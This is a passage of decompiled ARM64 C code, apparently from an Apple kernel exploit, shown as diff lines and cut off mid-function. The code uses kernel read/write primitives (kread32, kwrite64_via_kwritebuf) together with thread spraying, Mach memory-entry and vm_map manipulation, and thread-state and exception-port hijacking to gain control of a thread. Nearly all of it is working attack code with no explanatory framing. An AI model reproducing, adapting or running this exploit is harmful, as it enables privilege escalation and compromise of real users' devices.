__int64 v100; // [xsp+B0h] [xbp-650h] + mach_vm_address_t v101; // [xsp+B8h] [xbp-648h] + unsigned __int64 v102; // [xsp+C0h] [xbp-640h] + __int64 v103; // [xsp+C8h] [xbp-638h] + int v104; // [xsp+D4h] [xbp-62Ch] + unsigned __int64 v105; // [xsp+D8h] [xbp-628h] + unsigned __int64 v106; // [xsp+E0h] [xbp-620h] + unsigned int v107; // [xsp+ECh] [xbp-614h] + vm_offset_t v108; // [xsp+F0h] [xbp-610h] + unsigned __int64 v109; // [xsp+F8h] [xbp-608h] + vm_address_t v110; // [xsp+100h] [xbp-600h] BYREF + _QWORD v111[6]; // [xsp+108h] [xbp-5F8h] BYREF + semaphore_t v112; // [xsp+138h] [xbp-5C8h] + semaphore_t v113; // [xsp+13Ch] [xbp-5C4h] + natural_t v114[4]; // [xsp+140h] [xbp-5C0h] BYREF + __int128 v115; // [xsp+150h] [xbp-5B0h] + __int128 v116; // [xsp+160h] [xbp-5A0h] + __int128 v117; // [xsp+170h] [xbp-590h] + __int128 v118; // [xsp+180h] [xbp-580h] + __int128 v119; // [xsp+190h] [xbp-570h] + __int128 v120; // [xsp+1A0h] [xbp-560h] + __int128 v121; // [xsp+1B0h] [xbp-550h] + __int128 v122; // [xsp+1C0h] [xbp-540h] + __int128 v123; // [xsp+1D0h] [xbp-530h] + __int128 v124; // [xsp+1E0h] [xbp-520h] + __int128 v125; // [xsp+1F0h] [xbp-510h] + __int128 v126; // [xsp+200h] [xbp-500h] + __int128 v127; // [xsp+210h] [xbp-4F0h] + __int128 v128; // [xsp+220h] [xbp-4E0h] + __int128 v129; // [xsp+230h] [xbp-4D0h] + __int128 v130; // [xsp+240h] [xbp-4C0h] + _QWORD v131[2]; // [xsp+250h] [xbp-4B0h] BYREF + __int64 (__fastcall *v132)(__int64, unsigned __int8); // [xsp+260h] [xbp-4A0h] + void *v133; // [xsp+268h] [xbp-498h] + __int64 v134; // [xsp+270h] [xbp-490h] + __int64 v135; // [xsp+278h] [xbp-488h] + unsigned __int64 v136; // [xsp+280h] [xbp-480h] + unsigned __int64 v137; // [xsp+288h] [xbp-478h] + unsigned __int64 v138; // [xsp+290h] [xbp-470h] + vm_size_t v139; // [xsp+298h] [xbp-468h] + __int64 v140; // [xsp+2A0h] [xbp-460h] + __int64 v141; // [xsp+2A8h] [xbp-458h] + int v142; // [xsp+2B0h] [xbp-450h] + mem_entry_name_port_t v143; // [xsp+2B4h] [xbp-44Ch] + vm_address_t v144; // [xsp+2B8h] [xbp-448h] BYREF + integer_t policy_info[4]; // [xsp+2C0h] [xbp-440h] BYREF + _QWORD v146[7]; // [xsp+2D0h] [xbp-430h] BYREF + semaphore_t v147; // [xsp+308h] [xbp-3F8h] + semaphore_t v148; // [xsp+30Ch] [xbp-3F4h] + pthread_t v149; // [xsp+310h] [xbp-3F0h] BYREF + __int64 v150; // [xsp+318h] [xbp-3E8h] BYREF + vm_address_t v151; // [xsp+320h] [xbp-3E0h] BYREF + vm_address_t v152; // [xsp+328h] [xbp-3D8h] BYREF + thread_act_t target_act; // [xsp+334h] [xbp-3CCh] BYREF + thread_act_t v154; // [xsp+338h] [xbp-3C8h] BYREF + mem_entry_name_port_t object_handle; // [xsp+33Ch] [xbp-3C4h] BYREF + vm_address_t address; // [xsp+340h] [xbp-3C0h] BYREF + vm_size_t size; // [xsp+348h] [xbp-3B8h] BYREF + vm_address_t offset; // [xsp+350h] [xbp-3B0h] BYREF + int v159; // [xsp+35Ch] [xbp-3A4h] BYREF + semaphore_t v160; // [xsp+360h] [xbp-3A0h] BYREF + semaphore_t semaphore; // [xsp+364h] [xbp-39Ch] BYREF + thread_act_t v162; // [xsp+368h] [xbp-398h] BYREF + thread_act_t child_act; // [xsp+36Ch] [xbp-394h] BYREF + __int128 v164; // [xsp+370h] [xbp-390h] BYREF + __int128 v165; // [xsp+380h] [xbp-380h] + __int128 v166; // [xsp+390h] [xbp-370h] + __int128 v167; // [xsp+3A0h] [xbp-360h] + __int128 v168; // [xsp+3B0h] [xbp-350h] + __int128 v169; // [xsp+3C0h] [xbp-340h] + __int128 v170; // [xsp+3D0h] [xbp-330h] + __int128 v171; // [xsp+3E0h] [xbp-320h] + __int128 v172; // [xsp+3F0h] [xbp-310h] + __int128 v173; // [xsp+400h] [xbp-300h] + __int128 v174; // [xsp+410h] [xbp-2F0h] + __int128 v175; // [xsp+420h] [xbp-2E0h] + __int128 v176; // [xsp+430h] [xbp-2D0h] + __int128 v177; // [xsp+440h] [xbp-2C0h] + __int128 v178; // [xsp+450h] [xbp-2B0h] + _OWORD __dst[19]; // [xsp+460h] [xbp-2A0h] BYREF + _OWORD v180[16]; // [xsp+590h] [xbp-170h] BYREF + + v2 = (__int64 *)(a1 + 8); + v104 = *(_DWORD *)(*(_QWORD *)(*(_QWORD *)(a1 + 8) + 0x20LL) + 0x140LL); + child_act = 0; + thread_create(mach_task_self_, &child_act); + v162 = 0; + thread_create(mach_task_self_, &v162); + semaphore = 0; + semaphore_create(mach_task_self_, &semaphore, 0, 0); + v160 = 0; + semaphore_create(mach_task_self_, &v160, 0, 0); + v159 = 0; + v106 = sub_35A50(*(_QWORD *)(*v2 + 0x20), 0, &v159); + do + { + offset = 0LL; + size = 0x4000LL; + address = 0LL; + vm_map(mach_task_self_, &address, 0xC000uLL, 0LL, 1, 0, 0LL, 0, 0, 0, 2u); + offset = address + 0x4000; + vm_allocate(mach_task_self_, &offset, size, 0x4000); + *(_QWORD *)offset = 0xC0C0C0C0C0C0C0C0LL; + mach_make_memory_entry(mach_task_self_, &size, offset, 3, &object_handle, 0); + v3 = sub_224B4(*v2, object_handle); + v4 = sub_10660(*v2, v3 + 0x10); + v5 = sub_10660(*v2, v4 + 0x18); + v6 = kread32(*v2, v5 + 0x3C); + if ( (v6 & 0x80000000) != 0 ) + v7 = 0x30LL * (v6 & 0x7FFFFFFF); + else + v7 = ((unsigned __int64)v6 << v159) + v106; + v8 = sub_10660(*v2, v7 + 0x20); + v9 = kread32(*v2, v7); + } + while ( (v9 & 0x80000000) == 0 ); + v95 = v7; + v10 = 0; + v109 = v8 - 0x30LL * v9 + 0x1800000000LL; + v11 = *(_QWORD *)(a1 + 8); + v12 = *(_QWORD *)(v11 + 0x20); + v13 = *(_QWORD *)(v12 + 0x19E8); + v14 = *(_QWORD *)(v12 + 0x19F0); + while ( 1 ) + { + v15 = v109 + (v10 & 0xFFFFFFF0); + v16 = sub_10660(v11, v15 + 0x18); + v17 = v16 < v13 || v16 >= v14; + if ( !v17 && (v16 & 0x3FFF) == 0 ) + { + v19 = kread32(*(_QWORD *)(a1 + 8), v15 + 0x20); + *(_QWORD *)(a1 + 0x20) = v19; + if ( v19 ) + { + v20 = (v19 & 0x80000000) != 0 ? v109 + 0x30LL * (v19 & 0x7FFFFFFF) : ((unsigned __int64)v19 << v159) + v106; + if ( (unsigned int)kread32(*v2, v20 + 0x30) > 0xFFF ) + break; + } + } + v11 = *v2; + v10 += 0x30; + } + kwrite64_via_kwritebuf(*v2, v3 + 0x18, 0LL); + kwrite64_via_kwritebuf(*v2, v3 + 0x20, 0xFFFFFFFFFFFFC000LL); + v154 = 0; + v21 = 0x100; + do + { + thread_create(mach_task_self_, &v154); + --v21; + } + while ( v21 ); + v107 = 0; + target_act = 0; + v103 = v5 + 0x30; + v102 = v95 - v106; + v94 = (void *)(a1 + 0x2C); + do + { + if ( target_act ) + thread_terminate(target_act); + thread_create(mach_task_self_, &target_act); + v22 = target_act; + *(_DWORD *)(a1 + 0x2A0) = 0; + v23 = sub_224B4(*(_QWORD *)(a1 + 8), v22); + v24 = sub_10660(*(_QWORD *)(a1 + 8), qword_48008 + v23); + v25 = sub_29CB0(*(_DWORD **)(*(_QWORD *)(a1 + 8) + 0x20LL), v24); + if ( ((v25 + 0x110) & 0x3F) == 0x10 || (v25 & 0x3FFF) > 0x3EC0 ) + goto LABEL_68; + v96 = v24; + v105 = v25 & 0x3FFF; + v100 = v25; + v101 = v25 + 0x110; + v26 = v25 & 0xFFFFFFFFFFFFC000LL; + v152 = 0LL; + memset(__dst, 0, 0x20); + sub_1062C(*(_QWORD *)(a1 + 8), v103, (__int64)__dst, 0x20LL); + HIDWORD(__dst[0]) = *(_QWORD *)(a1 + 0x20); + kwritebuf_0_or_5(*(_QWORD *)(a1 + 8), v103, (__int64)__dst, 0x20LL); + vm_map(mach_task_self_, &v152, 0x4000uLL, 0LL, 1, object_handle, v23 & 0xFFFFFFFFFFFFC000LL, 0, 3, 3, 1u); + memset(__dst, 0, 0x20); + sub_1062C(*(_QWORD *)(a1 + 8), v103, (__int64)__dst, 0x20LL); + HIDWORD(__dst[0]) = v102 >> v159; + kwritebuf_0_or_5(*(_QWORD *)(a1 + 8), v103, (__int64)__dst, 0x20LL); + v97 = qword_48008; + v98 = v152; + v151 = 0LL; + memset(__dst, 0, 0x20); + sub_1062C(*(_QWORD *)(a1 + 8), v103, (__int64)__dst, 0x20LL); + HIDWORD(__dst[0]) = *(_QWORD *)(a1 + 0x20); + kwritebuf_0_or_5(*(_QWORD *)(a1 + 8), v103, (__int64)__dst, 0x20LL); + v108 = v26; + vm_map(mach_task_self_, &v151, 0x4000uLL, 0LL, 1, object_handle, v26, 0, 3, 3, 1u); + memset(__dst, 0, 0x20); + sub_1062C(*(_QWORD *)(a1 + 8), v103, (__int64)__dst, 0x20LL); + HIDWORD(__dst[0]) = v102 >> v159; + kwritebuf_0_or_5(*(_QWORD *)(a1 + 8), v103, (__int64)__dst, 0x20LL); + v27 = v151; + v150 = 0LL; + memset(v180, 0, sizeof(v180)); + v146[0] = _NSConcreteStackBlock; + v146[1] = 0xC0000000LL; + v146[2] = sub_125E4; + v146[3] = &unk_44870; + v147 = v160; + v148 = semaphore; + v146[4] = &v150; + v146[5] = &target_act; + v146[6] = v180; + pthread_create(&v149, 0LL, (void *(__cdecl *)(void *))sub_111B4, v146); + semaphore_wait(semaphore); + v28 = pthread_mach_thread_np(v149); + *(_OWORD *)policy_info = xmmword_42F00; + thread_policy_set(v28, 2u, policy_info, 4u); + v29 = sub_224B4(*(_QWORD *)(a1 + 8), v28); + if ( !v107 ) + { + v107 = 0; + for ( i = 0xFCLL; i < 0x2FC; i += 4LL ) + { + v31 = kread32(*v2, v29 + i + 4); + if ( v31 == policy_info[0] ) + { + v32 = kread32(*v2, v29 + i + 8); + if ( v32 == policy_info[1] ) + { + v33 = kread32(*v2, v29 + i + 0xC); + v34 = v107; + if ( v33 == policy_info[2] ) + v34 = i + 4; + v107 = v34; + } + } + } + } + v35 = (__int64 *)(v98 + (v23 & 0x3FFF) + v97); + v36 = v27 + v105; + sub_10708(*(_QWORD *)(a1 + 8), v29 + v107 + 4, 1); + *(_OWORD *)policy_info = xmmword_42F10; + v37 = mach_thread_self(); + thread_policy_set(v37, 2u, policy_info, 4u); + v38 = *(_QWORD *)(a1 + 8); + v39 = mach_thread_self(); + v40 = sub_224B4(v38, v39) + v107; + sub_10708(*(_QWORD *)(a1 + 8), v40, 0x7FFFFFFF); + sub_10708(*(_QWORD *)(a1 + 8), v40 + 4, 0x7FFFFFFF); + sub_10708(*(_QWORD *)(a1 + 8), v40 + 8, 0x7FFFFFFF); + sub_10708(*(_QWORD *)(a1 + 8), v40 + 0xC, 0x100); + kwrite64_via_kwritebuf(*(_QWORD *)(a1 + 8), v40 + 0x10, 0xFFFFFFFFFFFFFFFLL); + semaphore_signal(v160); + v35[0xFFFFFFFF] = 0LL; + v41 = *(_QWORD *)(v27 + v105 + 0x128); + if ( (*(_DWORD *)(v36 + 0x110) & 0x1000) != 0 ) + v42 = 0x400208; + else + v42 = 0x400204; + *(_DWORD *)(a1 + 0x294) = v42; + v43 = v42 | 0x3C0; + *(_DWORD *)(a1 + 0x290) = v43; + *(_DWORD *)(v36 + 0x110) = v43; + if ( v104 <= 0x2711 ) + *v35 = 0LL; + thread_switch(0, 0, 0); + v150 = 1LL; + while ( v150 == 1 ) + { + if ( *v35 ) + { + v44 = v35[0xFFFFFFFF]; + if ( sub_29CB0(*(_DWORD **)(*v2 + 0x20), *v35) == v44 ) + { + *v35 = v96; + goto LABEL_47; + } + } + } + v44 = 0LL; +LABEL_47: + pthread_join(v149, 0LL); + if ( v104 <= 0x2711 ) + *v35 = v44; + v45 = 0LL; + while ( 1 ) + { + v46 = *(_DWORD *)((char *)v180 + v45); + if ( v46 ) + { + if ( sub_224B4(*v2, v46) == v23 ) + break; + } + v45 += 4LL; + if ( v45 == 0x100 ) + { + v47 = v150; + goto LABEL_55; + } + } + v150 = 3LL; + *(_DWORD *)(a1 + 0x2A0) = *(_DWORD *)((char *)v180 + v45); + *(_DWORD *)((char *)v180 + v45) = 0; + v47 = 3LL; +LABEL_55: + v48 = *(_QWORD *)(v36 + 0x128); + if ( v41 == v48 || v48 == 0 || v47 != 3 ) + { + v51 = *(_DWORD *)(a1 + 0x2A0); + if ( v51 + 1 >= 2 ) + { + thread_terminate(v51); + *(_DWORD *)(a1 + 0x2A0) = 0; + } + for ( j = 0LL; j != 0x100; j += 4LL ) + { + v53 = *(_DWORD *)((char *)v180 + j); + if ( v53 ) + thread_terminate(v53); + } +LABEL_68: + v54 = 0x57; + continue; + } + v55 = *(_DWORD **)(*v2 + 0x20); + v56 = v55[0x50]; + has_flag = krw_ctx_has_flag(v55, 0x5584201); + if ( v56 >= 0x225C ) + { + v58 = 0xB8LL; + if ( has_flag ) + v58 = 0x70LL; + v59 = v58 + (v23 & 0x3FFF); + v60 = *(_DWORD *)(v59 + v152); + if ( (v60 & 0x8000) == 0 ) + *(_DWORD *)(v152 + v59) = v60 | 0x8000; + } + v61 = 0x100; + do + { + thread_create(mach_task_self_, &v154); + if ( v154 ) + { + v62 = sub_224B4(*v2, v154); + if ( validate_addr(*(_QWORD *)(*v2 + 0x20), v62) ) + { + kwrite64_via_kwritebuf(*v2, v62 + qword_48008 - 8, 0LL); + thread_terminate(v154); + v154 = 0; + } + } + --v61; + } + while ( v61 ); + kwrite64_via_kwritebuf(*v2, v23 + qword_48008 - 8, v100); + kwrite64_via_kwritebuf(*v2, qword_48008 + v23, v96); + v63 = kread32(*v2, v20); + if ( (v63 & 0x80000000) != 0 ) + { + v65 = v109 + 0x30LL * (v63 & 0x7FFFFFFF); + v64 = v106; + } + else + { + v64 = v106; + v65 = ((unsigned __int64)v63 << v159) + v106; + } + while ( sub_10660(*v2, v65 + 0x18) != v108 ) + { + v66 = kread32(*v2, v65 + 8); + if ( (v66 & 0x80000000) != 0 ) + v65 = v109 + 0x30LL * (v66 & 0x7FFFFFFF); + else + v65 = ((unsigned __int64)v66 << v159) + v64; + } + if ( v65 >= v109 ) + v67 = ((v65 - v109) / 0x30) | 0x80000000; + else + v67 = (v65 - v64) >> v159; + v99 = v67; + v144 = 0LL; + memset(__dst, 0, 0x20); + sub_1062C(*(_QWORD *)(a1 + 8), v103, (__int64)__dst, 0x20LL); + HIDWORD(__dst[0]) = *(_QWORD *)(a1 + 0x20); + kwritebuf_0_or_5(*(_QWORD *)(a1 + 8), v103, (__int64)__dst, 0x20LL); + vm_map(mach_task_self_, &v144, 0x4000uLL, 0LL, 1, object_handle, v108, 0, 3, 3, 1u); + memset(__dst, 0, 0x20); + sub_1062C(*(_QWORD *)(a1 + 8), v103, (__int64)__dst, 0x20LL); + HIDWORD(__dst[0]) = v102 >> v159; + kwritebuf_0_or_5(*(_QWORD *)(a1 + 8), v103, (__int64)__dst, 0x20LL); + *(_QWORD *)(a1 + 0x18) = v144 + v105; + sub_10708(*(_QWORD *)(a1 + 8), v101, *(_DWORD *)(a1 + 0x290)); + memcpy(__dst, *(const void **)(a1 + 0x18), sizeof(__dst)); + v68 = sub_10660(*(_QWORD *)(a1 + 8), v95); + v69 = sub_10660(*(_QWORD *)(a1 + 8), v65 + 8); + v131[0] = _NSConcreteStackBlock; + v131[1] = 0xC0000000LL; + v132 = sub_12678; + v133 = &unk_44890; + v134 = a1; + v135 = v95; + v136 = v99; + v137 = v65; + v138 = v106; + v139 = size; + v142 = v159; + v143 = object_handle; + v140 = v69; + v141 = v68; + v70 = sub_224B4(*(_QWORD *)(a1 + 8), v162); + v71 = *(_DWORD **)(*(_QWORD *)(a1 + 8) + 0x20LL); + v72 = sub_10660(*(_QWORD *)(a1 + 8), qword_48008 + v70); + *(_QWORD *)(a1 + 0x168) = sub_29D2C(v71, v72); + v73 = sub_224B4(*(_QWORD *)(a1 + 8), child_act); + v74 = *(_DWORD **)(*(_QWORD *)(a1 + 8) + 0x20LL); + v75 = sub_10660(*(_QWORD *)(a1 + 8), qword_48008 + v73); + *(_QWORD *)(a1 + 0x178) = sub_29D2C(v74, v75); + v76 = sub_1091C(a1, 0x10000); + *(_QWORD *)(a1 + 0x298) = v76; + v129 = 0u; + v130 = 0u; + v127 = 0u; + v128 = 0u; + v125 = 0u; + v126 = 0u; + v123 = 0u; + v124 = 0u; + v121 = 0u; + v122 = 0u; + v119 = 0u; + v120 = 0u; + v117 = 0u; + v118 = 0u; + v115 = 0u; + v116 = 0u; + *(_OWORD *)v114 = 0u; + *(_OWORD *)(a1 + 0x270) = 0u; + *(_OWORD *)(a1 + 0x280) = 0u; + *(_OWORD *)(a1 + 0x250) = 0u; + *(_OWORD *)(a1 + 0x260) = 0u; + *(_OWORD *)(a1 + 0x230) = 0u; + *(_OWORD *)(a1 + 0x240) = 0u; + *(_OWORD *)(a1 + 0x210) = 0u; + *(_OWORD *)(a1 + 0x220) = 0u; + *(_OWORD *)(a1 + 0x1F0) = 0u; + *(_OWORD *)(a1 + 0x200) = 0u; + *(_OWORD *)(a1 + 0x1D0) = 0u; + *(_OWORD *)(a1 + 0x1E0) = 0u; + *(_OWORD *)(a1 + 0x1B0) = 0u; + *(_OWORD *)(a1 + 0x1C0) = 0u; + *(_OWORD *)(a1 + 0x190) = 0u; + *(_OWORD *)(a1 + 0x1A0) = 0u; + *(_QWORD *)(a1 + 0x180) = *(_QWORD *)(a1 + 0x168); + *(_QWORD *)(a1 + 0x188) = 0xC0C0C0C0LL; + *(_QWORD *)(a1 + 0x228) = *(_QWORD *)(a1 + 0x178); + *(_QWORD *)(a1 + 0x280) = qword_48010; + *(_QWORD *)(a1 + 0x270) = qword_48030; + *(_DWORD *)(a1 + 0x28C) = 0; + *(_QWORD *)(a1 + 0x278) = v76 + 0x7F00; + *(_QWORD *)(a1 + 0x268) = 0xC0C0C0C0C0C0C0C0LL; + sub_10708(*(_QWORD *)(a1 + 8), v76, 0xC0C0C0C0); + v77 = 0xFFFFFFFFFFFFC000LL; + do + { + sub_10708(*(_QWORD *)(a1 + 8), v77 + *(_QWORD *)(a1 + 0x298) + 0x8000, v77 - 0x3F3EBF40); + v77 += 0x4000LL; + } + while ( v77 < 0x8000 ); + memcpy(*(void **)(a1 + 0x18), __dst, 0x130uLL); + thread_set_state(*(_DWORD *)(a1 + 0x2A0), 6, (thread_state_t)(a1 + 0x180), 0x44u); + v78 = sub_10660(*(_QWORD *)(a1 + 8), v100 + 0x128); + memcpy(*(void **)(a1 + 0x18), __dst, 0x130uLL); + thread_set_state(*(_DWORD *)(a1 + 0x2A0), 6, v114, 0x44u); + sub_10660(*(_QWORD *)(a1 + 8), v100 + 0x128); + kread32(*(_QWORD *)(a1 + 8), v101); + while ( 1 ) + { + memcpy(*(void **)(a1 + 0x18), __dst, 0x130uLL); + v150 = 0LL; + v111[0] = _NSConcreteStackBlock; + v111[1] = 0xC0000000LL; + v111[2] = sub_12754; + v111[3] = &unk_448B0; + v112 = v160; + v113 = semaphore; + v111[4] = a1; + v111[5] = &v150; + pthread_create(&v149, 0LL, (void *(__cdecl *)(void *))sub_111B4, v111); + semaphore_wait(semaphore); + semaphore_signal(v160); + *(_QWORD *)(*(_QWORD *)(a1 + 0x18) + 0xF0LL) = 0LL; + v132((__int64)v131, 8u); + v150 = 1LL; + v79 = *(_QWORD *)(a1 + 0x18); + v80 = (_DWORD *)(v79 + 0x110); + v81 = (_QWORD *)(v79 + 0x128); + v82 = (_QWORD *)(v79 + 0xF0); + v83 = *(_DWORD *)(a1 + 0x290); + do + { + *v80 = v83; + *v81 = v48; + } + while ( !*v82 ); + v132((__int64)v131, 1u); + pthread_join(v149, 0LL); + v84 = sub_10660(*(_QWORD *)(a1 + 8), v100 + 0x128); + if ( v84 != v78 && v84 != v48 && v84 != v41 ) + { + v85 = *(_QWORD *)(a1 + 0x18); + if ( *(_DWORD *)(v85 + 0x110) == *(_DWORD *)(a1 + 0x290) + && v84 + && *(_QWORD *)(v85 + 0x108) == *(_QWORD *)(a1 + 0x280) + && *(_QWORD *)(v85 + 0xF8) == *(_QWORD *)(a1 + 0x270) ) + { + break; + } + } + } + memcpy(v94, (const void *)v85, 0x130uLL); + sub_10660(*(_QWORD *)(a1 + 8), *(_QWORD *)(a1 + 0x168) + 0x128LL); + mach_port_allocate(mach_task_self_, 1u, (mach_port_name_t *)(a1 + 0x170)); + mach_port_insert_right(mach_task_self_, *(_DWORD *)(a1 + 0x170), *(_DWORD *)(a1 + 0x170), 0x14u); + thread_set_exception_ports(*(_DWORD *)(a1 + 0x2A0), 0x1BFEu, *(_DWORD *)(a1 + 0x170), 2, 0x11); + thread_resume(*(_DWORD *)(a1 + 0x2A0)); + v86 = (mach_msg_header_t *)calloc(1uLL, 0x800uLL); + *(_QWORD *)(a1 + 0x10) = v86; + mach_msg(v86, 2, 0, 0x400u, *(_DWORD *)(a1 + 0x170), 0, 0); + sub_10660(*(_QWORD *)(a1 + 8), *(_QWORD *)(a1 + 0x168) + 0x128LL); + memcpy(*(void **)(a1 + 0x18), v94, 0x130uLL); + v87 = *(_QWORD *)(a1 + 0x168) & 0xFFFFFFFFFFFFC000LL; + v88 = *(_QWORD *)(a1 + 0x168) & 0x3FFFLL; + v110 = 0LL; + v164 = 0u; + v165 = 0u; + sub_1062C(*(_QWORD *)(a1 + 8), v103, (__int64)&v164, 0x20LL); + HIDWORD(v164) = *(_QWORD *)(a1 + 0x20); + kwritebuf_0_or_5(*(_QWORD *)(a1 + 8), v103, (__int64)&v164, 0x20LL); + vm_map(mach_task_self_, &v110, 0x4000uLL, 0LL, 1, object_handle, v87, 0, 3, 3, 1u); + v164 = 0u; + v165 = 0u; + sub_1062C(*(_QWORD *)(a1 + 8), v103, (__int64)&v164, 0x20LL); + HIDWORD(v164) = v102 >> v159; + kwritebuf_0_or_5(*(_QWORD *)(a1 + 8), v103, (__int64)&v164, 0x20LL); + v89 = v110 + v88; + *(_QWORD *)(a1 + 0x160) = v110 + v88; + *(_QWORD *)(v89 + 0x108) = 0x41414141LL; + *(_DWORD *)(v89 + 0x110) = 0; + *(_QWORD *)(v89 + 0xF8) = 0x42424242LL; + *(_OWORD *)(v89 + 0x88) = xmmword_42F20; + sub_109F8(a1, *(_QWORD *)(a1 + 0x168), 0x41414141LL, 0, 0x42424242LL, 0x43434343LL, 0x44444444LL); + v178 = 0u; + v177 = 0u; + v176 = 0u; + v175 = 0u; + v174 = 0u; + v172 = 0u; + v173 = 0u; + v170 = 0u; + v171 = 0u; + v168 = 0u; + v169 = 0u; + v166 = 0u; + v167 = 0u; + v164 = 0u; + v165 = 0u; + sub_10B90(a1, qword_48040, (__int64)&v164); + kwrite64_via_kwritebuf(*(_QWORD *)(a1 + 8), *(_QWORD *)(a1 + 0x298) + 0xF008LL, *(_QWORD *)(a1 + 0x298) + 0xEFE0LL); + v90 = *(_QWORD *)(a1 + 8); + v91 = *(_QWORD *)(a1 + 0x298) + 0xF010LL; + v92 = (*(__int64 (__fastcall **)(__int64))(*(_QWORD *)a1 + 0x10LL))(a1); + kwrite64_via_kwritebuf(v90, v91, v92); + *(_DWORD *)(a1 + 0x28) = v162; + if ( semaphore + 1 >= 2 ) + semaphore_destroy(mach_task_self_, semaphore); + if ( v160 + 1 >= 2 ) + semaphore_destroy(mach_task_self_, v160); + v54 = 1; + } + while ( v54 == 0x57 ); + return 0LL; +} +// 42F00: using guessed type __int128 xmmword_42F00; +// 42F10: using guessed type __int128 xmmword_42F10; +// 42F20: using guessed type __int128 xmmword_42F20; +// 48008: using guessed type __int64 qword_48008; +// 48010: using guessed type __int64 qword_48010; +// 48030: using guessed type __int64 qword_48030; +// 48040: using guessed type __int64 qword_48040; + +//----- (00000000000125E4) ---------------------------------------------------- +__int64 __fastcall sub_125E4(__int64 a1) +{ + __int64 i; // x20 + __int64 result; // x0 + _QWORD *v4; // x9 + + __semwait_signal(); + while ( !**(_QWORD **)(a1 + 0x20) ) + ; + thread_terminate(**(_DWORD **)(a1 + 0x28)); + for ( i = 0LL; i != 0x100; i += 4LL ) + result = thread_create(mach_task_self_, (thread_act_t *)(*(_QWORD *)(a1 + 0x30) + i)); + v4 = *(_QWORD **)(a1 + 0x20); + **(_DWORD **)(a1 + 0x28) = 0; + *v4 = 2LL; + return result; +} + +//----- (0000000000012678) ---------------------------------------------------- +__int64 __fastcall sub_12678(__int64 a1, unsigned __int8 a2) +{ + __int64 v4; // x21 + __int64 v5; // x8 + mem_entry_name_port_t object_handle; // [xsp+Ch] [xbp-24h] BYREF + + object_handle = 0; + v4 = *(_QWORD *)(a1 + 0x20); + kwrite64_via_kwritebuf( + *(_QWORD *)(v4 + 8), + *(_QWORD *)(a1 + 0x28), + *(_QWORD *)(a1 + 0x30) | (*(_QWORD *)(a1 + 0x30) << 0x20)); + v5 = (*(_QWORD *)(a1 + 0x28) - *(_QWORD *)(a1 + 0x40)) >> *(_DWORD *)(a1 + 0x60); + kwrite64_via_kwritebuf(*(_QWORD *)(v4 + 8), *(_QWORD *)(a1 + 0x38) + 8LL, v5 | (v5 << 0x20)); + mach_make_memory_entry( + mach_task_self_, + (vm_size_t *)(a1 + 0x48), + 0LL, + (a2 << 0x18) | 0x10003, + &object_handle, + *(_DWORD *)(a1 + 0x64)); + kwrite64_via_kwritebuf(*(_QWORD *)(v4 + 8), *(_QWORD *)(a1 + 0x38) + 8LL, *(_QWORD *)(a1 + 0x50)); + kwrite64_via_kwritebuf(*(_QWORD *)(v4 + 8), *(_QWORD *)(a1 + 0x28), *(_QWORD *)(a1 + 0x58)); + return mach_port_destroy(mach_task_self_, object_handle); +} + +//----- (0000000000012754) ---------------------------------------------------- +__int64 __fastcall sub_12754(__int64 a1) +{ + __int64 v2; // x20 + thread_act_t v3; // w0 + __int64 vars8; // [xsp+18h] [xbp+8h] + + v2 = *(_QWORD *)(a1 + 0x20); + __semwait_signal(); + while ( !**(_QWORD **)(a1 + 0x28) ) + ; + v3 = *(_DWORD *)(v2 + 0x2A0); + if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) + __break(0xC471u); + return thread_set_state(v3, 6, (thread_state_t)(v2 + 0x180), 0x44u); +} +// 127B0: variable 'vars8' is possibly undefined + +//----- (00000000000127C0) ---------------------------------------------------- +__int64 __fastcall sub_127C0(__int64 a1) +{ + __int64 v2; // x0 + _DWORD *v3; // x20 + __int64 v4; // x0 + unsigned __int64 v5; // x0 + __int64 v6; // x22 + __int64 v7; // x24 + vm_address_t v8; // x20 + __int64 v9; // x21 + __int64 result; // x0 + int v11; // w23 + __int64 v12; // x24 + __int128 v13; // [xsp+0h] [xbp-70h] BYREF + __int128 v14; // [xsp+10h] [xbp-60h] + + v2 = *(_QWORD *)(a1 + 8); + v3 = *(_DWORD **)(v2 + 0x20); + v4 = sub_10660(v2, *(_QWORD *)(v2 + 0x10) + 0x28LL); + v5 = sub_29D2C(v3, v4); + v6 = sub_10660(*(_QWORD *)(a1 + 8), v5 + 0x18); + while ( 1 ) + { + v7 = v6; + v8 = sub_10660(*(_QWORD *)(a1 + 8), v6 + 0x10); + v9 = sub_10660(*(_QWORD *)(a1 + 8), v6 + 0x18); + result = kread32(*(_QWORD *)(a1 + 8), v6 + 0x48); + if ( v8 == 0x1000000000LL ) + break; + v11 = result; + v6 = sub_10660(*(_QWORD *)(a1 + 8), v6 + 8); + if ( v11 < 0 ) + { + v13 = 0u; + v14 = 0u; + v12 = v7 + 0x30; + sub_1062C(*(_QWORD *)(a1 + 8), v12, (__int64)&v13, 0x20LL); + HIDWORD(v13) = *(_QWORD *)(a1 + 0x20); + kwritebuf_0_or_5(*(_QWORD *)(a1 + 8), v12, (__int64)&v13, 0x20LL); + v13 = 0u; + v14 = 0u; + sub_1062C(*(_QWORD *)(a1 + 8), v12, (__int64)&v13, 0x20LL); + DWORD2(v14) = v11 & 0x7FFFFFFF; + kwritebuf_0_or_5(*(_QWORD *)(a1 + 8), v12, (__int64)&v13, 0x20LL); + vm_deallocate(mach_task_self_, v8, v9 - v8); + } + } + return result; +} + +//----- (0000000000012954) ---------------------------------------------------- +__int64 __fastcall sub_12954(const void *a1, const void *a2) +{ + __int64 v2; // x20 + CFTypeID v5; // x22 + CFTypeID v6; // x22 + void (__cdecl *v7)(const void *, const void *, void *); // x0 + unsigned int v9; // [xsp+0h] [xbp-30h] BYREF + const void *v10; // [xsp+8h] [xbp-28h] + + v2 = 0xAD001LL; + if ( a1 ) + { + v5 = CFGetTypeID(a1); + if ( v5 == CFDictionaryGetTypeID() ) + { + if ( a2 ) + { + v6 = CFGetTypeID(a2); + if ( v6 == CFDictionaryGetTypeID() ) + { + v9 = 0; + v10 = a1; + v7 = (void (__cdecl *)(const void *, const void *, void *))nullsub_1(sub_129F8); + CFDictionaryApplyFunction((CFDictionaryRef)a2, v7, &v9); + return v9; + } + } + } + } + return v2; +} +// 19728: using guessed type __int64 __fastcall nullsub_1(_QWORD); + +//----- (00000000000129F8) ---------------------------------------------------- +void __fastcall sub_129F8(const void *a1, CFTypeRef cf, __int64 a3) +{ + CFTypeID v6; // x22 + CFTypeID v7; // x22 + int v8; // w23 + void *v9; // x21 + CFTypeID v10; // x22 + 